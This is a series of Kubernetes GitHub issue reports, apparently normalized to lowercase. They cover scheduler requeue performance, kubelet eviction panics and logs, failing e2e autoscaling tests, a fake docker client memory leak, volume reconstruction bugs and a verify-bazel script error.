e.g.  uname -a  : 4.14.63-coreos\r - install tools:  kubernetes-on-aws  https://github.com/zalando-incubator/kubernetes-on-aws \r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r today, the scheduler re-processes unschedulable nodes  by moving them to the active queue every time a node is updated in the cluster  https://github.com/kubernetes/kubernetes/blob/1df4f8eaf6721d9f52fed35020c044c986755014/pkg/scheduler/factory/factory.go l986 . node updates are sent by kubelet frequently  every 10 seconds  and often times they don't change any of the node properties that could potentially make them feasible. we should be smarter about these updates and move pods to the schedulable queue only when certain properties of nodes change that could make them feasible. these properties include node allocatable, node conditions, taints, labels, ....\r \r   why is this needed  :\r improves performance of the scheduler and avoids doing unnecessary attempts to schedule pods. this is particularly helpful when a cluster has a lot of unschedulable pods.\r \r <!-- do not edit below this line -->\r  \r this is not a feature really. it is performance optimization, but in the absence of such a label, i need to use \ feature\  here.\r \r 

dec 24 16:23:10 node-01 kubelet 9484 : i1224 16:23:10.294336    9484 helpers.go:836  eviction manager: observations: signal=nodefs.available, available: 35456284ki, capacity: 41151808ki, time: 2018-12-24 16:23:10.286666533 +0800 cst m=+661.125925085\r dec 24 16:23:10 node-01 kubelet 9484 : i1224 16:23:10.294343    9484 helpers.go:836  eviction manager: observations: signal=nodefs.inodesfree, available: 2576654, capacity: 2621440, time: 2018-12-24 16:23:10.286666533 +0800 cst m=+661.125925085\r dec 24 16:23:10 node-01 kubelet 9484 : i1224 16:23:10.294350    9484 helpers.go:836  eviction manager: observations: signal=imagefs.available, available: 35456284ki, capacity: 41151808ki, time: 2018-12-24 16:23:10.286666533 +0800 cst m=+661.125925085\r dec 24 16:23:10 node-01 kubelet 9484 : i1224 16:23:10.294356    9484 helpers.go:836  eviction manager: observations: signal=imagefs.inodesfree, available: 2576654, capacity: 2621440, time: 2018-12-24 16:23:10.286666533 +0800 cst m=+661.125925085\r dec 24 16:23:10 node-01 kubelet 9484 : i1224 16:23:10.294363    9484 helpers.go:836  eviction manager: observations: signal=pid.available, available: 32598, capacity: 32ki, time: 2018-12-24 16:23:10.293878576 +0800 cst m=+661.133137075\r dec 24 16:23:10 node-01 kubelet 9484 : i1224 16:23:10.294387    9484 eviction_manager.go:317  eviction manager: no resources are starved\r dec 24 16:23:10 node-01 kubelet 9484 : i1224 16:23:10.299473    9484 setters.go:736  error getting volume limit for plugin kubernetes.io/gce-pd\r dec 24 16:23:10 node-01 kubelet 9484 : i1224 16:23:10.299484    9484 setters.go:736  error getting volume limit for plugin kubernetes.io/aws-ebs\r dec 24 16:23:10 node-01 kubelet 9484 : i1224 16:23:10.299491    9484 setters.go:736  error getting volume limit for plugin kubernetes.io/azure-disk\r dec 24 16:23:11 node-01 kubelet 9484 : i1224 16:23:11.431235    9484 kubelet.go:1995  syncloop  housekeeping \r

alpha environment tests are failing - https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-alpha-enabled-default/6876\r \r the root cause of the tests failing in alpha environment appears to be:\r \r    \r feb 14 01:16:24.068: info: at 2019-02-14 01:11:31 +0000 utc - event for deployment-535e408a-2ff5-11e9-9340-52a97e11b2fc-bd8c54665-llwhg: {kubelet bootstrap-e2e-minion-group-1cn1} failedmount: mountvolume.resizefilesystem update pvc status failed for volume \ pvc-4f7dab2d-2ff5-11e9-95c5-42010a8a0002\  : patchpvcstatus.failed to patch pvc \ pvc-rqfkj\  with persistentvolumeclaims \ pvc-rqfkj\  is forbidden: node \ bootstrap-e2e-minion-group-1cn1\  is not allowed to update fields other than status.capacity and status.conditions: \r object.objectmeta.managedfields 0 .fields.map f:metadata .map f:finalizers .map . .map:\r    \r \r so basically kubelet is not allowed to update pvc. which is weird. need to investigate further.\r \r also for multizone environment - https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-multizone/28052\r \r this line looks weird from e2e:\r \r    \r failedscheduling: 0/10 nodes are available: 1 node s  had volume node affinity conflict, 1 node s  were unschedulable, 8 node s  didn't match node selector.\r    \r \r so the deployment is straight up not getting started.\r \r  /assign\r

i've been looking more at the way replicationcontrollers use the cache and the controller framework, and have put together a very rough draft of how the controller watch pattern works, along side a simple exersize people can follow along with etcdctl.  http://jayunit100.blogspot.com/2015/07/looking-at-controller-watch-pattern-in.html  this is pretty raw but i will clean it up and submit a pr with a high level description of the watch pattern unless another doc already is planning on doing this.  just thought i'd create an issue for this as a placeholder,   the bottom line is simply that it will be nice to have a doc page for the controller+watch pattern that can be referenced from the replication_controller.go and endpoints_controller.go files.

we created the  runtime.unstructured  to hold objects containing  typemeta  that we should be able to deserialize and inspect for other fields   objectmeta  for instance  using common functions in the  runtime  package.  using these types in validation  https://github.com/kubernetes/kubernetes/blob/master/pkg/api/validation/schema.go l99  would make for cleaner code and better re-use.  @linzichang

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gce-autoscaling-migs/555/  multiple broken tests:  failed:  k8s.io  cluster size autoscaling  slow  should correctly scale down after a node is not needed when there is non autoscaled pool feature:clustersizeautoscalingscaledown  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:90 expected     <int>: 2 to equal     <int>: 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:80      issues about this test specifically:  34102  failed:  k8s.io  cluster size autoscaling  slow  should correctly scale down after a node is not needed  feature:clustersizeautoscalingscaledown  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:260 expected error:     < errors.errorstring | 0xc82074fa30>: {         s: \ timeout waiting 5m0s for appropriate cluster size\ ,     }     timeout waiting 5m0s for appropriate cluster size not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:255      issues about this test specifically:  33891  failed:  k8s.io  cluster size autoscaling  slow  should add node to the particular mig  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:90 expected     <int>: 2 to equal     <int>: 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:80      issues about this test specifically:  33754  failed:  k8s.io  cluster size autoscaling  slow  should scale up correct target pool  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:90 expected     <int>: 2 to equal     <int>: 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:80      issues about this test specifically:  33897  failed:  k8s.io  cluster size autoscaling  slow  should increase cluster size if pods are pending due to host port conflict  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:90 expected     <int>: 2 to equal     <int>: 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:80      issues about this test specifically:  33793  failed:  k8s.io  cluster size autoscaling  slow  should disable node pool autoscaling  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:90 expected     <int>: 2 to equal     <int>: 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:80      issues about this test specifically:  33804  previous issues for this suite:  34168  34475

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :   reconstructvolume  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/volumemanager/reconciler/reconciler.go l486  calls plugin's  constructvolumespec  to create a volume spec and use this volume spec in plugin's  newmounter  to mount the volume.  problem is none of the plugins set fs type in  constructvolumespec . as a result: - for plugins that has fstype as a string pointer  e.g. azure_dd , kubelet will crash  - for other volumes, if the volume is formatted as xfs, it cannot be mounted.  @kubernetes/sig-storage @jingxu97     what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  ---    is this a bug report or feature request?    choose one :  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  :    environment  : -   cloud provider or hardware configuration  : -   os    e.g. from /etc/os-release : -   kernel    e.g.  uname -a  : -   install tools  : -   others  :    what happened  :    what you expected to happen  :    how to reproduce it    as minimally and precisely as possible :    anything else do we need to know  :

when i try to use kubemark to do some perf-tests.i found that some kubemark hollow-kubelet  will be oom. then i kept one kubemark running which i added pprof. \r \r    \r root@k8s-node-perf3-15:/home/log/kubelet98  go tool pprof http://localhost:6060/debug/pprof/heap\r fetching profile from http://localhost:6060/debug/pprof/heap\r saved profile in /root/pprof/pprof.localhost:6060.inuse_objects.inuse_space.006.pb.gz\r entering interactive mode  type \ help\  for commands \r  pprof  top10\r 8066.61kb of 8066.61kb total    100% \r dropped 392 nodes  cum <= 40.33kb \r showing top 10 nodes out of 106  cum >= 512.04kb \r       flat  flat%   sum%        cum   cum%\r  2072.09kb 25.69% 25.69%  2072.09kb 25.69%  k8s.io/kubernetes/vendor/github.com/beorn7/perks/quantile.newtargeted\r  1184.27kb 14.68% 40.37%  1184.27kb 14.68%  bytes.makeslice\r  1066.16kb 13.22% 53.59%  1066.16kb 13.22%  k8s.io/kubernetes/pkg/kubelet/dockertools.  fakedockerclient .listcontainers\r   650.62kb  8.07% 61.65%   650.62kb  8.07%  k8s.io/kubernetes/vendor/github.com/golang/glog.  syncbuffer .rotatefile\r   524.09kb  6.50% 68.15%   524.09kb  6.50%  k8s.io/kubernetes/pkg/runtime.  scheme .addknowntypes\r   516.01kb  6.40% 74.54%   516.01kb  6.40%  k8s.io/kubernetes/vendor/github.com/prometheus/client_golang/prometheus.newdefaultregistry\r      515kb  6.38% 80.93%      515kb  6.38%  reflect.value.call\r      514kb  6.37% 87.30%  2586.09kb 32.06%  k8s.io/kubernetes/vendor/github.com/prometheus/client_golang/prometheus.newsummary\r   512.31kb  6.35% 93.65%   512.31kb  6.35%  net/http.  transport .tryputidleconn\r   512.04kb  6.35%   100%   512.04kb  6.35%  net/http.  persistconn .roundtrip\r    \r \r we found that    fakedockerclient .listcontainers  use 1066.16kb and the number of  flat  in it is inscreasing. i add some log in this function:\r \r    \r var calltime = 0\r // listcontainers is a test-spy implementation of dockerinterface.listcontainers.\r // it adds an entry \ list\  to the internal method call record.\r func  f  fakedockerclient  listcontainers options dockertypes.containerlistoptions     dockertypes.container, error  {\r \tf.lock  \r \tdefer f.unlock  \r \tf.called = append f.called, calleddetail{name: \ list\ } \r \terr := f.poperror \ list\  \r \tcontainerlist := append   dockertypes.container{}, f.runningcontainerlist... \r \tif options.all {\r \t\t// although the container is not sorted, but the container with the same name should be in order,\r \t\t// that is enough for us now.\r \t\t// todo random-liu : is a fully sorted array needed?\r \t\tcontainerlist = append containerlist, f.exitedcontainerlist... \r \t}\r \tcalltime++\r \tglog.warningf \  hy  f.called: len: %d, size: %d ; cont len: %d, size: %d ; calltime: %d\ , len f.called , reflect.typeof f.called .size  , len containerlist , reflect.typeof containerlist .size  , calltime \r \treturn containerlist, err\r }\r    \r and found that log:\r    \r 2017-01-11 14:27:32.558310 w fake_docker_client.go:273   hy  f.called: len: 20486, size: 24 ; cont len: 0, size: 24 ; calltime: 19544\r 2017-01-11 14:27:33.314934 w fake_docker_client.go:273   hy  f.called: len: 20487, size: 24 ; cont len: 0, size: 24 ; calltime: 19545\r 2017-01-11 14:27:34.315221 w fake_docker_client.go:273   hy  f.called: len: 20488, size: 24 ; cont len: 0, size: 24 ; calltime: 19546\r    \r we saw that the array   f.called   won't be released. it is used to record operation of fakedockerclient and only be check in unit test.\r \r i think it be removed or periodically cleaned.

https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/gpu/nvidia/nvidia_gpu_manager.go l63\r \r    \r \t// the interface which could get gpu mapping from all the containers.\r \t// todo: should make this independent of docker in the future.\r \tdockerclient     libdocker.interface\r    \r \r related to https://github.com/kubernetes/kubernetes/issues/54090

 \r   what happened  :\r \r kube cronjob pods generate error-level logs despite completing successfully.\r \r sample error:\r    \r  kubelet    e1109 19:27:04.507052    1410 docker_sandbox.go:422  failed to retrieve checkpoint for sandbox \ 31327a811b3f821f9ba3ffdab8f53157dc8039eb67d99f41ba84ea10c9a4a215\ : checkpoint is not found.\r    \r \r pod lifetime for the error above:\r    \r  kube-controller-manager-master1  i1109 19:24:04.713208       1 event.go:217  event v1.objectreference{kind:\ job\ , namespace:\ mynamespace\ , name:\ cronservice-1510255440\ , uid:\ 8c830c49-c583-11e7-82ba-005056ae3ce5\ , apiversion:\ batch\ , resourceversion:\ 84900837\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: cronservice-1510255440-qcznd\r  kube-scheduler-master1  i1109 19:24:04.728798       1 event.go:217  event v1.objectreference{kind:\ pod\ , namespace:\ mynamespace\ , name:\ cronservice-1510255440-qcznd\ , uid:\ 8c859980-c583-11e7-82ba-005056ae3ce5\ , apiversion:\ v1\ , resourceversion:\ 84900839\ , fieldpath:\ \ } : type: 'normal' reason: 'scheduled' successfully assigned cronservice-1510255440-qcznd to knode2\r  kubelet    i1109 19:24:04.729367    1410 kubelet.go:1808  syncloop  add, \ api\  : \ cronservice-1510255440-qcznd_mynamespace 8c859980-c583-11e7-82ba-005056ae3ce5 \ \r  kube-apiserver-master2  i1109 19:24:04.732402       1 wrap.go:75  get /api/v1/namespaces/mynamespace/pods/cronservice-1510255440-qcznd:  2.390713ms  200   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b  10.131.16.89:44381 \r  kube-apiserver-master2  i1109 19:24:04.739775       1 wrap.go:75  put /api/v1/namespaces/mynamespace/pods/cronservice-1510255440-qcznd/status:  6.575979ms  200   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b  10.131.16.89:44381 \r  kubelet    i1109 19:24:05.035378    1410 kuberuntime_manager.go:370  no sandbox for pod \ cronservice-1510255440-qcznd_mynamespace 8c859980-c583-11e7-82ba-005056ae3ce5 \  can be found. need to start a new one\r  kube-apiserver-master2  i1109 19:24:05.480928       1 wrap.go:75  patch /api/v1/namespaces/mynamespace/events/cronservice-1510255440-qcznd.14f58153597185b3:  4.026795ms  200   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b  10.131.16.89:44381 \r  kubelet    i1109 19:24:05.882868    1410 kubelet.go:1842  syncloop  pleg : \ cronservice-1510255440-qcznd_mynamespace 8c859980-c583-11e7-82ba-005056ae3ce5 \ , event: &pleg.podlifecycleevent{id:\ 8c859980-c583-11e7-82ba-005056ae3ce5\ , type:\ containerstarted\ , data:\ ab6b0048412b7421e6638be371912b7730801b021929292f02ebd98677148732\ }\r  kubelet    i1109 19:24:05.882916    1410 kubelet.go:1842  syncloop  pleg : \ cronservice-1510255440-qcznd_mynamespace 8c859980-c583-11e7-82ba-005056ae3ce5 \ , event: &pleg.podlifecycleevent{id:\ 8c859980-c583-11e7-82ba-005056ae3ce5\ , type:\ containerstarted\ , data:\ 31327a811b3f821f9ba3ffdab8f53157dc8039eb67d99f41ba84ea10c9a4a215\ }\r  kube-apiserver-master2  i1109 19:24:05.889197       1 wrap.go:75  get /api/v1/namespaces/mynamespace/pods/cronservice-1510255440-qcznd:  2.323418ms  200   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b  10.131.16.89:44381 \r  kube-apiserver-master2  i1109 19:24:05.898925       1 wrap.go:75  put /api/v1/namespaces/mynamespace/pods/cronservice-1510255440-qcznd/status:  8.88623ms  200   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b  10.131.16.89:44381 \r  kube-apiserver-master2  i1109 19:24:06.224469       1 wrap.go:75  patch /api/v1/namespaces/mynamespace/events/cronservice-1510255440-qcznd.14f58153597185b3:  4.175155ms  200   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b  10.131.16.89:44381 \r  kubelet    i1109 19:24:06.915681    1410 kubelet.go:1842  syncloop  pleg : \ cronservice-1510255440-qcznd_mynamespace 8c859980-c583-11e7-82ba-005056ae3ce5 \ , event: &pleg.podlifecycleevent{id:\ 8c859980-c583-11e7-82ba-005056ae3ce5\ , type:\ containerdied\ , data:\ ab6b0048412b7421e6638be371912b7730801b021929292f02ebd98677148732\ }\r  kube-apiserver-master2  i1109 19:24:06.918810       1 wrap.go:75  get /api/v1/namespaces/mynamespace/pods/cronservice-1510255440-qcznd:  2.460115ms  200   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b  10.131.16.89:44381 \r  kube-apiserver-master2  i1109 19:24:06.928074       1 wrap.go:75  put /api/v1/namespaces/mynamespace/pods/cronservice-1510255440-qcznd/status:  6.253457ms  200   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b  10.131.16.89:44381 \r  kube-apiserver-master2  i1109 19:24:07.624466       1 wrap.go:75  patch /api/v1/namespaces/mynamespace/events/cronservice-1510255440-qcznd.14f58153597185b3:  4.219135ms  200   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b  10.131.16.89:44381 \r  kubelet    i1109 19:24:07.807825    1410 kubelet_pods.go:917  killing unwanted pod \ cronservice-1510255440-qcznd\ \r  kubelet    w1109 19:24:08.047654    1410 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ cronservice-1510255440-qcznd_mynamespace\ : cannot find the network namespace, skipping pod network status for container {\ docker\  \ 31327a811b3f821f9ba3ffdab8f53157dc8039eb67d99f41ba84ea10c9a4a215\ }\r  kubelet    i1109 19:24:08.051018    1410 kubelet.go:1842  syncloop  pleg : \ cronservice-1510255440-qcznd_mynamespace 8c859980-c583-11e7-82ba-005056ae3ce5 \ , event: &pleg.podlifecycleevent{id:\ 8c859980-c583-11e7-82ba-005056ae3ce5\ , type:\ containerdied\ , data:\ 31327a811b3f821f9ba3ffdab8f53157dc8039eb67d99f41ba84ea10c9a4a215\ }\r  kubelet    w1109 19:24:08.051243    1410 pod_container_deletor.go:77  container \ 31327a811b3f821f9ba3ffdab8f53157dc8039eb67d99f41ba84ea10c9a4a215\  not found in pod's containers\r  kubelet    e1109 19:26:06.916149    1410 kubelet.go:1549  unable to mount volumes for pod \ cronservice-1510255440-qcznd_mynamespace 8c859980-c583-11e7-82ba-005056ae3ce5 \ : timeout expired waiting for volumes to attach/mount for pod \ mynamespace\ /\ cronservice-1510255440-qcznd\ . list of unattached/unmounted volumes= etc-ssh highland-ssh highland configmap-mount default-token-b4z5f ; skipping pod\r  kubelet    e1109 19:26:06.916191    1410 pod_workers.go:182  error syncing pod 8c859980-c583-11e7-82ba-005056ae3ce5  \ cronservice-1510255440-qcznd_mynamespace 8c859980-c583-11e7-82ba-005056ae3ce5 \  , skipping: timeout expired waiting for volumes to attach/mount for pod \ mynamespace\ /\ cronservice-1510255440-qcznd\ . list of unattached/unmounted volumes= etc-ssh highland-ssh highland configmap-mount default-token-b4z5f \r  kube-controller-manager-master1  i1109 19:26:15.634284       1 cronjob_controller.go:370  cronjob controller is deleting pod mynamespace/cronservice-1510255440-qcznd\r  kubelet    i1109 19:26:15.644230    1410 kubelet.go:1824  syncloop  delete, \ api\  : \ cronservice-1510255440-qcznd_mynamespace 8c859980-c583-11e7-82ba-005056ae3ce5 \ \r  kube-apiserver-master1  i1109 19:26:15.645233       1 wrap.go:75  delete /api/v1/namespaces/mynamespace/pods/cronservice-1510255440-qcznd:  10.717723ms  200   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b/cronjob-controller  127.0.0.1:44448 \r  kube-apiserver-master2  i1109 19:26:15.646618       1 wrap.go:75  get /api/v1/namespaces/mynamespace/pods/cronservice-1510255440-qcznd:  1.904966ms  404   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b  10.131.16.89:44381 \r  kubelet    i1109 19:26:15.649128    1410 kubelet.go:1818  syncloop  remove, \ api\  : \ cronservice-1510255440-qcznd_mynamespace 8c859980-c583-11e7-82ba-005056ae3ce5 \ \r  kubelet    i1109 19:26:15.649186    1410 kubelet.go:2002  failed to delete pod \ cronservice-1510255440-qcznd_mynamespace 8c859980-c583-11e7-82ba-005056ae3ce5 \ , err: pod not found\r  kube-apiserver-master2  i1109 19:26:15.808485       1 wrap.go:75  get /api/v1/namespaces/mynamespace/pods/cronservice-1510255440-qcznd:  2.062584ms  404   hyperkube/v1.6.8  linux/amd64  kubernetes/d74e09b  10.131.16.89:44381 \r  kubelet    w1109 19:27:04.348045    1410 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ cronservice-1510255440-qcznd_mynamespace\ : cannot find the network namespace, skipping pod network status for container {\ docker\  \ 31327a811b3f821f9ba3ffdab8f53157dc8039eb67d99f41ba84ea10c9a4a215\ }\r  kubelet    e1109 19:27:04.507052    1410 docker_sandbox.go:422  failed to retrieve checkpoint for sandbox \ 31327a811b3f821f9ba3ffdab8f53157dc8039eb67d99f41ba84ea10c9a4a215\ : checkpoint is not found.\r    \r \r   what you expected to happen  :\r \r cronjob pods should only generate error-level logs if they are failing to execute their task.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a kube cronjob, scheduled for once a minute.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.8\ , gitcommit:\ d74e09bb4e4e7026f45becbed8310665ddcb8514\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t18:12:08z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.8\ , gitcommit:\ d74e09bb4e4e7026f45becbed8310665ddcb8514\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t18:01:01z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: n/a  bare metal \r - os  e.g. from /etc/os-release : 16.04.1 lts  xenial xerus \r - kernel  e.g.  uname -a  : 4.4.0-89-generic\r - install tools: n/a\r - others: n/a\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r kubelet constantly crashes trying to evict  pods under memory pressure\r   what you expected to happen  :\r kubelet to be able to evict pods\r   how to reproduce it  as minimally and precisely as possible   :\r fresh 1.9.1 kubernetes, installed via kubeadm\r \r here are relevant eviction parameters for kubelet\r    \r environment=\ kubelet_eviction_hard=--eviction-hard=memory.available<3000mi,nodefs.available<1gi,imagefs.available<40gi\ \r environment=\ kubelet_eviction_soft=--eviction-soft=memory.available<3500mi,nodefs.available<2gi,imagefs.available<50gi --eviction-soft-grace-period=memory.available=1m30s,nodefs.available=5m,imagefs.available=5m\ \r    \r   anything else we need to know?  :\r    \r янв 20 00:20:07 o1.home kubelet 32406 : w0120 00:20:07.544864   32406 eviction_manager.go:142  failed to admit pod kube-proxy-bbrr6_kube-system 860629c4-fd5e-11e7-880c-6c626d3ed96f  - node has conditions:  memorypressure \r янв 20 00:20:07 o1.home kubelet 32406 : w0120 00:20:07.726836   32406 eviction_manager.go:332  eviction manager: attempting to reclaim memory\r янв 20 00:20:07 o1.home kubelet 32406 : i0120 00:20:07.726862   32406 eviction_manager.go:346  eviction manager: must evict pod s  to reclaim memory\r янв 20 00:20:07 o1.home kubelet 32406 : panic: runtime error: index out of range\r янв 20 00:20:07 o1.home kubelet 32406 : goroutine 565  running :\r янв 20 00:20:07 o1.home kubelet 32406 : k8s.io/kubernetes/vendor/k8s.io/api/core/v1.  resourcelist .memory ... \r янв 20 00:20:07 o1.home kubelet 32406 :         /common/var/tmp/portage/sys-cluster/kubelet-1.9.1/work/kubelet-1.9.1/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/eviction/helpers.go:612\r янв 20 00:20:07 o1.home kubelet 32406 : k8s.io/kubernetes/pkg/kubelet/eviction.podrequest 0xc421a5bc00, 0x38a4b12, 0x6, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 \r янв 20 00:20:07 o1.home kubelet 32406 :         /common/var/tmp/portage/sys-cluster/kubelet-1.9.1/work/kubelet-1.9.1/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/eviction/helpers.go:612 +0xab1\r янв 20 00:20:07 o1.home kubelet 32406 : k8s.io/kubernetes/pkg/kubelet/eviction.exceedmemoryrequests.func1 0xc4212cf180, 0xc421a5bc00, 0x1 \r янв 20 00:20:07 o1.home kubelet 32406 :         /common/var/tmp/portage/sys-cluster/kubelet-1.9.1/work/kubelet-1.9.1/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/eviction/helpers.go:555 +0x479\r янв 20 00:20:07 o1.home kubelet 32406 : k8s.io/kubernetes/pkg/kubelet/eviction.  multisorter .less 0xc4204112c0, 0x0, 0x4, 0x0 \r янв 20 00:20:07 o1.home kubelet 32406 :         /common/var/tmp/portage/sys-cluster/kubelet-1.9.1/work/kubelet-1.9.1/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/eviction/helpers.go:503 +0xa2\r янв 20 00:20:07 o1.home kubelet 32406 : sort.dopivot 0x577ff80, 0xc4204112c0, 0x0, 0xd, 0x7f877bcbe6c8, 0x0 \r янв 20 00:20:07 o1.home kubelet 32406 :         /usr/lib64/go/src/sort/sort.go:123 +0x144\r янв 20 00:20:07 o1.home kubelet 32406 : sort.quicksort 0x577ff80, 0xc4204112c0, 0x0, 0xd, 0x8 \r янв 20 00:20:07 o1.home kubelet 32406 :         /usr/lib64/go/src/sort/sort.go:192 +0x8a\r янв 20 00:20:07 o1.home kubelet 32406 : sort.sort 0x577ff80, 0xc4204112c0 \r янв 20 00:20:07 o1.home kubelet 32406 :         /usr/lib64/go/src/sort/sort.go:220 +0x79\r янв 20 00:20:07 o1.home kubelet 32406 : k8s.io/kubernetes/pkg/kubelet/eviction.  multisorter .sort 0xc4204112c0, 0xc4216f6580, 0xd, 0x10 \r янв 20 00:20:07 o1.home kubelet 32406 :         /common/var/tmp/portage/sys-cluster/kubelet-1.9.1/work/kubelet-1.9.1/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/eviction/helpers.go:477 +0x5b\r янв 20 00:20:07 o1.home kubelet 32406 : k8s.io/kubernetes/pkg/kubelet/eviction.rankmemorypressure 0xc4216f6580, 0xd, 0x10, 0xc420248c30 \r янв 20 00:20:07 o1.home kubelet 32406 :         /common/var/tmp/portage/sys-cluster/kubelet-1.9.1/work/kubelet-1.9.1/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubelet/eviction/helpers.go:692 +0xf0\r    \r   environment  :\r - kubernetes version  use  kubectl version  :\r >client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ archive\ , builddate:\ 2018-01-05t20:28:28z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r >server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:40:06z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r >8gib of ram\r - os  e.g. from /etc/os-release :\r gentoo\r - kernel  e.g.  uname -a  :\r >linux o1.home 4.9.34-gentoo  5 smp sat jan 13 23:06:16 msk 2018 x86_64 intel r  core tm  i5-2500k cpu @ 3.30ghz genuineintel gnu/linux\r \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  \r when running  hack/verify-bazel.sh  on my commits locally i got the following error:\r \r    \r !!! error in hack/verify-bazel.sh:40\r   error in hack/verify-bazel.sh:40. 'cp -a \ ${kube_root}\  \ ${_tmp_kuberoot}/..\ ' exited with status 1\r call stack:\r   1: hack/verify-bazel.sh:40 main ... \r exiting with status 1\r    \r \r affected prs:\r https://github.com/kubernetes/kubernetes/pull/59447\r https://github.com/kubernetes/kubernetes/pull/59511

